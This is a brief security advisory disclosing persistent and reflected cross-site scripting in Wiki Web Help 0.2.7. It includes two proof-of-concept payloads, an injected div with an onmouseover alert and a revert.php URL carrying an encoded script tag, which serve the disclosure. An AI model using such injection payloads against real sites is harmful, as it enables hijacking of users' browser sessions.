Home
Consulting
Advisories
Software
Articles
Contact

Wiki Web Help 0.2.7 Persistent/Reflected Cross-site Scripting

Legacy Advisories

Description

A persistent/reflected cross-site scripting vulnerability in Wiki Web Help 0.2.7 can be exploited to execute arbitrary JavaScript.

Proof Of Concept

Persistent: <div onmouseover="alert(0)" style="margin:-500px;width:9999px;height:9999px;position:absolute;"></div>

Reflected: http://localhost/wwh/revert.php?rev=%3Cscript%3Ealert(0)%3C/script%3E


Copyright © 2018 AutoSec Tools LLC